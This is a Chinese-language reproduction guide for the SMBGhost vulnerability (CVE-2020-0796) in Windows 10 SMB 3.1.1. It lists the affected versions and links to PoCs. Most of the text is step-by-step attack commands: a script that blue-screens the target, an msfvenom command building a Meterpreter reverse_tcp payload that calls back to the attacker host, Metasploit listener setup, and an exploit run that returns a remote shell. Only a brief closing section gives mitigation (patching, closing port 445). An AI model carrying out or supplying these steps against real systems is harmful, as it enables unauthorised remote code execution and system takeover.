漏洞简介

漏洞公告显示，SMB 3.1.1协议中处理压缩消息时，对其中数据没有经过安全检查，直接使用会引发内存破坏漏洞，可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行，受黑客攻击的目标系统只需开机在线即可能被入侵。

漏洞影响范围

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

漏洞检测

奇安信的检测工具：点击下载

github的某脚本：点击下载

POC地址

蓝屏攻击点击下载
本地提权点击下载
远程执行shell点击下载

复现

攻击机 kali 192.168.23.140
靶机 win10 192.168.23.139
关闭win10fang'huo'q

• 蓝屏复现

解压蓝屏攻击POC：

执行命令：

python3 CVE-2020-0796.py 192.168.23.139
执行成功，win10蓝屏

• 本地提权

运行本地提权POC
成功后会打开system权限的窗口

• 远程执行shell复现

解压远程执行shellPOC：

1.生成反向链接木马

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.23.140 LPORT=6666 -f python -o shell.txt
等待成功后，会生成一个shell.txt文件，

2.修改exp
把shell.txt文件里的buf替换成USER_PAYLOAD

然后打开exploit.py文件，把下面红圈里的内容换成修改后的shell.txt的内容

保存。
3.msf监听
打开msf
msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.23.140
msf5 exploit(multi/handler) > set lport 6666
msf5 exploit(multi/handler) > run
然后另开终端，运行POC
python3 exploit.py -ip 192.168.23.139
等待运行成功，拿到shell

漏洞处理

1.及时更新微软针对该漏洞所发布的的修复补丁
2.关闭445端口